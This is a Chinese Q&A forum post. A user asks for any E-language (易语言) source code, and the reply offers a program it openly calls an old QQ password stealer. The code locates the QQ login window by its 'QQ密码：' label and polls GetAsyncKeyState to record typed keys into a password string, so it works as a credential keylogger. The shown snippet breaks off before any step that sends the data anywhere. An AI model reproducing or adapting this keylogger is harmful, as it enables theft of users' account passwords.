求任意一个易语言程序源代码

上网不能直接搜代码,要上官网论坛,易语言资源网,或者加易语言的群,那些地方都有教程和源码
QQ群35617420 1603713

这个是早先没有登录验证时用的偷QQ密码的程序,易语言的源代码(英部分是调用API的)

.版本 2
.支持库 internet

hwnd ＝ GetForegroundWindow ()
class ＝ 取空白文本 (256)
leng ＝ GetClassNameA (hwnd, class, 256)

.如果 (取文本左边 (class, leng) ＝ “#32770”)
hwnd2 ＝ FindWindowExA (hwnd, 0, “Static”, “QQ密码：”)

.如果 (hwnd2 ≠ 0 或 qqhwnd ≠ 0)
qqhwnd ＝ hwnd
.变量循环首 (0, 255, 1, key)
.如果 (位与 (GetAsyncKeyState (key), 1) ＝ 1)
.如果 (key ＜ 33 或 key ＞ 126)
password ＝ password ＋ “[” ＋ 到文本 (key) ＋ “]”
.否则

.如果 (key ＞ 95)
key ＝ key － 48
.否则

.如果结束
password ＝ password ＋ 字符 (key)
.如果结束

.否则

.如果结束